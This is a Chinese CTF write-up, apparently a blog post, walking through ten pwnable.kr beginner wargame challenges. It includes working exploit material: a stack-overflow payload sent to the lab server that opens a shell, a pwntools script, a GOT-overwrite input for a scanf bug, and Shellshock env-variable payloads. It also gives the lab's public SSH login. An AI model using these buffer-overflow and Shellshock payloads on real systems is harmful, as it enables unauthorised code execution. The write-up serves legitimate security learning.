Pwnable之[Toddler's Bottle](一)

Pwnable之[Toddler’s Bottle]

Pwn挑战地址

1.fd

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

重要函数:
重要函数:read
ssize_t read(int fd,void * buf ,size_t count);

2.collision

先SSH到题目地址:
ssh col@pwnable.kr -p2222 (pw:guest)

发现有三个文件,只有一个是当前用户可执行的,查看col.c源码:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

分析函数,是要你输入20个字符串,进入chack函数。
在chack函数中把这个字符串分成5份int,相加等于0x21DD09EC。

重点分析:
一个int变量4个字节。把hashcode变量5份共20个字节,再将这5个字节加起来不就等于hashcode了吗?

开始计算:
0x21=4*0x08+0x01
0xDD=4*0x33+0x11
0x09=4*0x02+0x01
0xEC=4*0x33+0x20
0x21DD09EC=4*0x08330233+0x0111120
测试一下–
这里写图片描述
没问题~
开始尝试输入:
这里写图片描述


好奇怪,不知道为什么不成功?
xargs 是一种输入命令,默认为echo,即以一行输入。

换一种思路:
这里写图片描述
按这个输入一下看看:
拿到flag:
这里写图片描述
也可以这样:
这里写图片描述
话说:为什么前面那个不行0 0.
以后再来看看~

3.bof

nc pwnable.kr 9000 进入
按照题目下载了源代码和执行程序
源代码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

分析一下:
主要是在func这个函数,一开始进入参数的key为0xdeadbeef,然后定义一个char32数组overflowme,然后输入这个数组,当判断key为0xcafebabe时得到flag,很明显,这是要用到栈溢出漏洞去替换掉key地址的值。

突破点:

gets()函数存在漏洞,它对输入的字符串长度没有进行检验,超过数组长度时它就只取数组长度,超过的部分会替换掉下面的地址。

思路:
先获取到func函数地址,key参数的地址,最后计算出gets函数输入地址与key地址的相差,需要多少个字符填充。

用IDA打开分析:
这里写图片描述
进入函数,ebp-2C为可以地址,ebp+8为gets的输入地址。二者相差52。
尝试填充52个A,在把0xCAFEBABE
try it:
这里写图片描述
出错~

编译时,应该是启用了linux的canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。

百度了一下:
命令:

(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000

PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell。

然后就反弹了shell。。。
这里写图片描述

再看看可不可以用pwntool来。

pwntool:

使用简介可以参考这个:
http://www.91ri.org/14382.html

代码:

from pwn import *

pwn_socket=remote('pwnable.kr',9000)//socket连接目标
pwn_socket.sendline('A' * 52 + '\xbe\xba\xfe\xca')//以自动换行的形式发送数据
pwn_socket.interactive()//交互,即反弹shell

结果如图所示:

这里写图片描述

4.flag

IDA分析,发现代码有点混乱。。。猜测是加壳了。
用查壳工具看了下,发现是UPX壳。
这个就简单了。
直接下载一个UPX脱客工具拖壳。
或者使用kali的UPX命令脱壳。。。
命令:
upx -d flag -o deflag
然后就可以在IDA里找到flag字符串了。

5.passcode

ssh登入后找到漏洞代码:

#include <stdio.h>  
#include <stdlib.h>  

void login(){  
        int passcode1;  
        int passcode2;  

        printf("enter passcode1 : ");  
        scanf("%d", passcode1);  
        fflush(stdin);  

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)  
        printf("enter passcode2 : ");  
        scanf("%d", passcode2);  

        printf("checking...\n");  
        if(passcode1==338150 && passcode2==13371337){  
                printf("Login OK!\n");  
                system("/bin/cat flag");  
        }  
        else{  
                printf("Login Failed!\n");  
                exit(0);  
        }  
}  

void welcome(){  
        char name[100];  
        printf("enter you name : ");  
        scanf("%100s", name);  
        printf("Welcome %s!\n", name);  
}  

int main(){  
        printf("Toddler's Secure Login System 1.0 beta.\n");  

        welcome();  
        login();  

        // something after login...  
        printf("Now I can safely trust you that you have credential :)\n");  
        return 0;  
}  

这段代码的存在scanf误用,scanf缺少&.所以输入的passcode1,passcode2,甚至name都是替换地址的。
所以:
可以看看可不可以替换地址,从而直接执行system。
通过objdump,可以得到name的地址为-0x70(%ebp),passcode1为-0x10(%ebp),passcode2为-0xc(%ebp)。因为在welcome中,只接收了一个100个字符的输入。
因此,只能给passcode1赋值,无法直接改变passcode2。于是直接修改passcode1和passcode2的值,满足if条件,是不可行的了。
看了其他大佬的writup:
想法1:
让代码直接跳转到system(“/bin/cat flag”);但是又不能直接修改eip,这时想到了修改GOT表,直接把下一个要执行的函数地址改成输出flag的代码的起始地址,通过objdump找到system(“/bin/cat flag”);代码起始地址:

 80485ce:   81 7d f4 c9 07 cc 00    cmpl   $0xcc07c9,-0xc(%ebp)
 80485d5:   75 1a                   jne    80485f1 <login+0x8d>
 80485d7:   c7 04 24 a5 87 04 08    movl   $0x80487a5,(%esp)
 80485de:   e8 6d fe ff ff          call   8048450 <puts@plt>
 80485e3:   c7 04 24 af 87 04 08    movl   $0x80487af,(%esp)
 80485ea:   e8 71 fe ff ff          call   8048460 <system@plt>

可以看到起始地址为0x80485e3。scanf下一句代码是fflush(stdin); 同样用objdump找到fflush的GOT表地址:

08048430 <fflush@plt>:
 8048430:       ff 25 04 a0 04 08       jmp    *0x804a004
 8048436:       68 08 00 00 00          push   $0x8
 804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x30>

GOT表项地址为0x804a004 。最终构造shellcode输入:

python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode

134514147为0x80485e3的十进制数值(因为 %d是取出整数),得到flag。
想法2:
通过修改plt,引导exit的调用到system处,就可以执行了。(在C中,当程序需要调用library中的函数时,程序会到plt中去寻找跳转的地址。
例如,在本例中,执行exit的语句为call 0x8048480

python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode

6.random

代码:

#include <stdio.h>  

int main(){  
        unsigned int random;  
        random = rand();        // random value!  

        unsigned int key=0;  
        scanf("%d", &key);  

        if( (key ^ random) == 0xdeadbeef ){  
                printf("Good!\n");  
                system("/bin/cat flag");  
                return 0;  
        }  

        printf("Wrong, maybe you should try 2^32 cases.\n");  
        return 0;  
}  

学过C语言的都知道rand是伪随机。
使用rand时,如果不提供一个随机种子,除了最开始的是随机的,之后产生的都是第一次一样的结果。
那么思路就很清晰了:
找到random,然后^0xdeadbeef就是key了,然后获得flag。
因此,用objdump找到printf前的地址<已经执行过rand的>,gdb运行这个文件,在打下断点,打印出random的值为0x6b8b4567。
这里写图片描述

0x6b8b4567^0xdeadbeef=3039230856,就是key了。
然后获得flag。

7.input

先看代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n"); 

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n"); 

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

这是一道考验linux基础的题。说实话,这题我卡了好久。
本来是想不按套路搞定,就是直接跳到system那段代码或者是直接gdb调试一直跳过return ,理论来说是可以的可是一直搞不定,本来想寒假搞定的,结果由于各种事一直没耐下心来搞。
终于在寒假的最后一天还是觉得按题目意思走(也是就是看大佬的writeup)~ ~。

首先,我们看代码的第一步:


    // argv  输入
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n"); 

要你输入100个字符,其中argv[]就是数组,argv[‘A’]应该就是其中的一个单元可能是代表argv[65]=”\x00”。argv[‘B’]=”\x20\x0a\x0d”。这不都是可视的符号。
\x0a是换行符的16进制,\x0d代表回车。
如果是windows可以用WinHex改再重输入,但是如果是linux的话,而且没有办法把改后的文件倒进来,又卡了。所以还是瞄了下大佬的。
说是要用linux的一个函数execve,在 unistd.h中。
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。

int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

具体的可以看这个
https://baike.baidu.com/item/execve/4475693?fr=aladdin

现在是要找一个有写权限的文件路径。
找到在input2@ubuntu:/var/tmp$
这里写图片描述
编辑一个c程序:

#include "stdio.h"
#include "unistd.h"

int main()
{
    char *argv[101] = {[0 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    execve("/home/input2/input", argv, NULL);

    return 0;
}

因为execve参数说明那里是用指针数组传递并以空指针NULL结束,所以前面100个A,加一个NULL

运行如下图:
这里写图片描述
OK!~第一步结束。

第二步:

 // stdio  用管道重定向该进程的标准输入
    char buf[4];
    read(0, buf, 4);//从标准输入中读
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);//从标准错误输出中读
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

不仅要在标准输入中读取”\x00\x0a\x00\xff”,也要在标准错误中读取”\x00\x0a\x02\xff”,两个不一样而时间差很小。那应该要有一个子程序和
管道重定向,那就是要用到操作系统的管道了。
在操作系统的实验课上有打过,不过有点忘了。
看大佬的复习下~
http://blog.csdn.net/oguro/article/details/53841949

重点是要用到int pipe(int filedes[2]);
pipe()会建立管道,filedes[0]为管道里的读取端,filedes[1]则为管道的写入端。父子进程可通过此通信。
和int dup2(int oldhandle, int newhandle);
文件句柄的重定向。
以下是利用代码:

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
int main()
{
    //Stage 1
    char *argv[101] = {[0 ... 99] = "A", NULL};
    char *env[2]={"\xde\xad\xbe\xef=\xca\xfe\xba\xbe",NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";

    //Stage 2  
    int stdin[2];  //标准输入
    int stderr[2]; //标准错误
    pid_t pid;  

    // 创建两个管道  
    if (pipe(stdin)<0 || pipe(stderr)<0){  
        perror("Cannot create the pipe");  
        exit(1);  
    }  

    // 创建子进程  
    if ((pid = fork()) < 0) {  
        perror("Cannot fork");  
        exit(1);  
    }  

    // 判断当前在子进程还是父进程  
    if (pid == 0){  
        /*  子进程 */  
        // 首先关闭管道的读取端  
        close(stdin[0]);  
        close(stderr[0]);  
        // 写入  
        write(stdin[1], "\x00\x0a\x00\xff", 4);  
        write(stderr[1], "\x00\x0a\x02\xff", 4);  
    }else{  
        /* 父进程 */  
        // 首先关闭管道的写入端  
        close(stdin[1]);  
        close(stderr[1]);  
        // 分别读取到stdin和stderr  
        dup2(stdin[0], 0); //将srdin[0]重定向到标准输入
        dup2(stderr[0], 2); //将srderr[0]重定向到标准错误输入
        close(stdin[0]);  
        close(stderr[0]);  
    execve("/home/input2/input", argv, NULL);
    }
    return 0;
}

运行可以看到:

这里写图片描述
第二步成功~

第三步:

// env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

getenv() 是从环境中取字符串,获取环境变量的值。
详细可看这个:
https://baike.baidu.com/item/getenv/935515?fr=aladdin
要求”\xde\xad\xbe\xef”这个位置的环境变量等于”\xca\xfe\xba\xbe”
这时我们可以回想起来execve()的最后一个参数则为传递给执行文件的新环境变量数组。
这就可以自定义了。

详细如下:
这里写图片描述
再加上
execve(“/home/input2/input”, argv, evn);
就可以了。
运行如下:
这里写图片描述
咦?我怎么第四关都过了?

第四关:

// file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n"); 

文件的写入。
首先要知道fread的含义。
函数名: fread
功 能: 从一个流中读数据
用 法: int fread(void *ptr, int size, int nitems, FILE *stream);
参 数:用于接收数据的地址(ptr)
单个元素的大小(size)
元素个数(nitems)
提供数据的文件指针(stream)
返回值:成功读取的元素个数

那么就创建一个”\x0a”。(我知道前面为什么能过了,别人创建过了)
代码如下:
FILE* fp = fopen(“0x0a”, “w”);
fwrite(“\x00\x00\x00\x00”, 4, 1, fp);
fclose(fp);
运行后没有问题~第四关结束。

最后一关:

// network
    int sd, cd;
    struct sockaddr_in saddr, caddr; 
    sd = socket(AF_INET, SOCK_STREAM, 0);// 新建套接字 
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
      /*接下来设置一些关键参数*/
    saddr.sin_family = AF_INET; 
    //AF_INET(又称PF_INET)是IPv4网络协议的套接字类型 
    saddr.sin_addr.s_addr = INADDR_ANY;
    // 监听所有地址:即0.0.0.0 
    saddr.sin_port = htons( atoi(argv['C']) ); 
    // 设置监听端口,htons()--"Host to Network Short":
    //主机字节序转化为网络字节序  
    // atoi把字符串转换成整型数 
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }// 绑定端口(将套接字和指定的端口相连) 
    listen(sd, 1);
    // 监听 int listen(int sock_fd, int backlog); sock_fd 是socket()函数返回值;backlog指定在请求队列中允许的最大请求数 
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    //用于接受客户端的服务请求,成功返回新的套接字描述符,失败返回-1,并置errno。 参数说明: sock_fd是被监听的socket描述符,  addr通常是一个指向sockaddr_in变量的指针,    addrlen是结构sockaddr_in的长度。  
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    //ssize_t recv(int sockfd, void *buff, size_t nbytes, int flags);  
    //返回读入的字节数,要读入4个字节,并为\xde\xad\xbe\xef  
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

要求我们要写一个socket客户端,发送”\xde\xad\xbe\xef”才行。

代码如下:

// Stage 5  
    // 等待程序前面的东西执行玩  
    sleep(2);  
    int sockfd;  
    argv['C']="23456";
    struct sockaddr_in server;  
    sockfd = socket(AF_INET, SOCK_STREAM, 0);  
    if (sockfd < 0){  
        perror("Cannot create the socker");  
        exit(1);  
    }  
    // 设置地址和端口,与argv['C']相对应就行  
    server.sin_family = AF_INET;  
    server.sin_addr.s_addr = inet_addr("127.0.0.1");  
    server.sin_port = htons(23456);  
    // 连接本地的服务器  
    if (connect(sockfd, (struct sockaddr*) &server, sizeof(server)))    {  
        perror("Problem connecting");  
        exit(1);  
    }  
    printf("Connected\n");  
    // 向服务器写数据  
    char buf[4] = "\xde\xad\xbe\xef";  
    write(sockfd, buf, 4);  
    close(sockfd);

char *argv[101] = {[0 … 99] = “A”, NULL};
char *env[2]={“\xde\xad\xbe\xef=\xca\xfe\xba\xbe”,NULL};

8.leg

leg源程序代码:
http://pwnable.kr/bin/leg.c

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push   {r6}\n"
    "add    r6, pc, $1\n"
    "bx r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push   {r3}\n"
    "pop    {pc}\n"
    ".code  32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}

先看main逻辑。
要你输入一个key,只要等于key1()+key2()+key3()就可以获得flag
key1()、key2()、key3()里面的代码是ARM汇编代码。
这个有点像x86的汇编,但有一些区别。
具体可以看这位大佬的。
ARM状态结构小记
http://blog.csdn.net/qq_19550513/article/details/62038580
ARM寄存器结构小记
http://blog.csdn.net/qq_19550513/article/details/62044295

总结:
ARM属于RISC指令集,不同于 x86 CISC指令集的堆栈传参,ARM 在函数调用时倾向于寄存器传参。一般地,当参数不超过4个时,系统会使用 R0-R4 寄存器进行参数传递,超过四个才会借助堆栈。

ARM的PC永远指向当前执行指令之后的第二条指令,即处于流水线取指阶段的指令,而 x86 的 PC 指向的是当前执行的指令。

调用子函数也和 x86 不同,x86下是使用 CALL 指令,ARM下是使用 BL (带链接跳转,即当前执行指令的下一条指令保存到 R14,并跳转,进入子函数后会将 R14 的值入栈)指令。

关于返回值,x86 使用 EAX 寄存器传递返回值,ARM 使用 R0 传递返回值。

掌握上述基础知识后,这题就迎刃而解了。

分析key1()

int key1(){
    asm("mov r3, pc\n");
}

这里写图片描述
将pc赋值给r3,pc当前为0x00008cdc+8,将r3赋值给r0,返回r0。

所以key1()=0x00008cdc+8=36060+8=36068

分析key2()

int key2(){
    asm(
    "push   {r6}\n"
    "add    r6, pc, $1\n"
    "bx r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push   {r3}\n"
    "pop    {pc}\n"
    ".code  32\n"
    "pop    {r6}\n"
    );
}

这里写图片描述
值得注意是,在将pc赋值给r3前,
从前面那个大佬的ARM状态结构小记中可以看出:
bx r6是使得程序进入thumb模式。
在thumb模式下pc =当前+下一个指令地址
即:pc=pc+4。
所以r3=0x00008d04+4
然后adds r3 ,#4 –> r3=r3+4
所以返回的r0=r3=0x00008d04+4+4=36100+8=36108

分析key3()

int key3(){
    asm("mov r3, lr\n");
}

这里写图片描述
百度了下:
在ARM体系结构中LR的特殊用途有两种:一是用来保存子程序返回地址;二是当异常发生时,LR中保存的值等于异常发生时PC的值减4(或者减2)
既然是返回地址,那就要在(gdb) main里面找了。
这里写图片描述
返回地址是0x00008d80
所以kye3()=0x00008d80=36224.
所以key=key1()+key2()+key3()=36068+36108+36224=108400
get falg~

9.mistake

先把代码翻译了一下,如下:

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}#讲字符串的前len位,每位与1异或

int main(int argc, char* argv[]){

    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }#以权限400只读的方式打开password,不成功则输出并退出

    printf("do not bruteforce...\n");#不要暴力破解 --?
    sleep(time(0)%20);#无线循环?
    #等待文件打开

    char pw_buf[PW_LEN+1];#char pw_buf[11]
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;       
    }#读取打开文件password里的10个字节,保存在pw_buf数组里。如果文件里的字符多于10个,则读取失败,文件退出。

    char pw_buf2[PW_LEN+1];#char pw_buf2[11]
    printf("input password : ");
    scanf("%10s", pw_buf2);#读取输入的前10个字符给pw_buf2

    // xor your input
    xor(pw_buf2, 10);#将输入的前世个字符串每个与1进行异或

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }#对比前十位的pw_buf和pw_buf2,如果相等就得到flag
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

很明显,题目的意思是要你获得password的flag,然后再每个与1异或后获得输入的password,得到flag。
那么很简单了,用objdump 找到 “printf(“input password : “);”这句代码的地址。将断点放置在这个位置,然后输出内存pw_buf中保存的password就好了。
结果出了问题,直接运行的话会出现无限等待。
gdb调试的话会打开password失败
这里写图片描述
换一种思路,将断点断在open上看看。
成功。。。于是我得到了这个。
这里写图片描述
猜测password=2147483626
写个python将它每个位与1异或。

s="2147483626"
n=""
for i in range(0,len(s)):
    k=ord(s[i])-ord('0')
    k=k^1
    n=n+str(k)
print n

得到3056592737。。。
等下。。。问题来了,,,直接运行./mistake时会出现无线循环。。。
下一步。。
尝试用set $pc 设置下一个执行地址,设置到scanf前面,结果虽然可以输入,但是还是出错。。。
。。。
好了,研究下大佬的writeup

好吧,前面的猜想全部错了。。。
sleep(time(0)%20);不是无线循环,而是单纯的等待(想多了伐~)
问题出现在
if 判断里面->>
fd=open(“/home/mistake/password”,O_RDONLY,0400) < 0
我前面以为是打开password。。。
结果并不是,因为‘<’的优先级比‘=’高。。
所以他是先打开成功,返回一个正数,判断正数<0,返回flase。
也就是0,即fd=0。
那么read(fd,pw_buf,PW_LEN)就是
read(0,pw_buf,PW_LEN),在标准输入流里获取前10位bit进入到pw_buf
那么这题就很简单了,pw_buf和pw_buf2 都是我们输入的,那就随便输入一个pw_buf^1=pw_buf2好了。
最简单的有00000000001111111111
为了对得起前面的猜想,就用21474836263056592737
拿到flag ~
这里写图片描述

10.shellcode

代码:

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

意思是暂时获得root的权限,
然后用bash执行echo shock_me。

百度查了下shellcode:
漏洞编号CVE-2014-6271,以及打了补丁之后被绕过的CVE-2014-7169,又称ShellShock漏洞。

这是一个关于它的复现实验:
https://www.cnblogs.com/zorigul/p/4520677.html
这是参考的原理分析:
https://yq.aliyun.com/articles/53608

漏洞起因:
要是用一句话概括这个漏洞,就是代码和数据没有正确区分。
漏洞很像SQL注入,通过特别设计的参数使得解析器错误地执行了参数中的命令。
常用的测试语句是

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果同时打出vulnerable和echo this is a test,表示存在漏洞。

这个语句原本的意图是使用env命令创建一个临时环境x,然后在里面执行一个bash命令。结果由于bash处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

这题只用root才有权限获得flag,所以要用到shellshock
漏洞利用:

 env var='() { :;};  cat flag' ./shellshock
 或者
 env x='() { :;};  /bin/cat flag' ./shellshock

利用shellshock的临时root权限执行cat flag 命令。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值